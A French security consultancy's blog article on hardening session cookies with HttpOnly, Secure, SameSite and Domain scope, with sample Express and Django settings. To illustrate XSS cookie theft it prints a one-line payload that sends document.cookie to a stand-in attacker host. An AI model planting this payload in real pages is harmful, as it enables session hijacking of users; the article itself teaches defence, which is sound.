Cybreach Consulting Prendre RDV
Retour aux articles
Vulnérabilités

Cookies de session : HttpOnly, Secure, SameSite et les oublis qui coûtent cher

Le cookie de session est la clé qui permet à votre application de reconnaître un utilisateur authentifié d'une requête à l'autre. Si un attaquant met la main dessus, il n'a pas besoin de votre mot de passe : il lui suffit de rejouer le cookie pour être connecté avec votre identité. Quatre attributs déterminent dans quelles conditions ce vol est possible. Chacun se configure en une ligne.

HttpOnly : rendre le cookie invisible à JavaScript

Sans l'attribut HttpOnly, le cookie de session est accessible à JavaScript via document.cookie. N'importe quel script qui s'exécute sur votre page, y compris celui injecté par une XSS, peut le lire et l'envoyer vers un serveur distant. C'est le vecteur de vol de session le plus courant.

Vol de cookie sans HttpOnly (payload XSS)

// Un attaquant injecte ce script via XSS :
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie);

// Avec HttpOnly, document.cookie ne contient plus le cookie de session.
// Le vol de session via XSS devient impossible.

HttpOnly n'empêche pas la XSS, mais il supprime l'impact le plus courant : le vol de session. Le cookie est toujours envoyé automatiquement par le navigateur à chaque requête, mais il ne peut plus être lu par JavaScript. C'est une défense en profondeur indispensable.

Secure : ne transiter qu'en HTTPS

L'attribut Secure interdit au navigateur d'envoyer le cookie sur des connexions HTTP non chiffrées. Sans cet attribut, si un utilisateur accède à votre site via HTTP (par erreur, par redirection, ou parce que HSTS n'est pas configuré), le cookie de session transite en clair sur le réseau. Un attaquant qui intercepte le trafic récupère la session immédiatement.

Ce vecteur est particulièrement réaliste sur les réseaux Wi-Fi ouverts (cafés, hôtels, conférences) où l'interception passive du trafic HTTP est triviale. Secure ne coûte rien à activer si votre site est déjà en HTTPS.

SameSite : bloquer les requêtes cross-site

L'attribut SameSite contrôle dans quelles situations le navigateur envoie le cookie dans les requêtes cross-site. Sans lui, le navigateur attache le cookie à toute requête vers votre domaine, même si cette requête est initiée depuis un autre site. C'est le mécanisme que les attaques CSRF exploitent.

Il existe trois valeurs : Strict : le cookie n'est jamais envoyé dans les requêtes cross-site (y compris quand on clique sur un lien depuis un autre site). Lax : le cookie est envoyé dans les navigations de niveau supérieur (clic sur un lien) mais pas dans les sous-requêtes (img, fetch, XHR). None : aucune restriction, le cookie est toujours envoyé (nécessite Secure).

SameSite=Lax est la valeur par défaut dans les navigateurs modernes depuis 2020, mais mieux vaut le déclarer explicitement plutôt que de compter sur ce comportement implicite. SameSite=Strict est plus sûr mais peut poser des problèmes d'UX : un utilisateur qui clique sur un lien dans un email vers votre application ne sera pas reconnu comme connecté.

Scope de domaine : ne pas trop partager

L'attribut Domain d'un cookie détermine sur quels domaines il est envoyé. Si vous définissez Domain=.example.com (avec le point), le cookie est envoyé à tous les sous-domaines : app.example.com, admin.example.com, api.example.com. Si l'un de ces sous-domaines est compromis ou héberge du contenu tiers, votre cookie de session y est exposé.

La règle de base : ne pas définir l'attribut Domain du tout. Sans lui, le cookie n'est envoyé qu'au domaine exact qui l'a créé, pas aux sous-domaines. C'est le comportement le plus restrictif et le plus sûr.

Configuration complète recommandée

En-tête Set-Cookie sécurisé

Set-Cookie: sessionId=<valeur>; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

Exemple Node.js / Express

app.use(session({
  secret: process.env.SESSION_SECRET,
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,
    secure: true,        // true uniquement si HTTPS
    sameSite: 'strict',
    maxAge: 60 * 60 * 1000  // 1 heure
  }
}));

Exemple Django (settings.py)

SESSION_COOKIE_HTTPONLY = True
SESSION_COOKIE_SECURE = True     # True si HTTPS
SESSION_COOKIE_SAMESITE = 'Strict'
SESSION_COOKIE_AGE = 3600       # 1 heure en secondes

Récapitulatif

  1. HttpOnly : empêche JavaScript de lire le cookie. Élimine le vecteur de vol de session via XSS
  2. Secure : interdit l'envoi du cookie en HTTP. Nécessaire si votre site est en HTTPS
  3. SameSite=Strict : bloque l'envoi du cookie dans les requêtes cross-site. Protection contre le CSRF
  4. Ne pas définir Domain : limite le cookie au domaine exact qui l'a créé, pas aux sous-domaines
  5. Path=/ et Max-Age : limiter la portée et la durée de vie pour réduire la fenêtre d'exposition

Une question après la lecture ?

Vos cookies de session sont mal configurés ? Envoyez un message, on en parle.

Ou réservez directement un cadrage de 30 minutes

Réserver un appel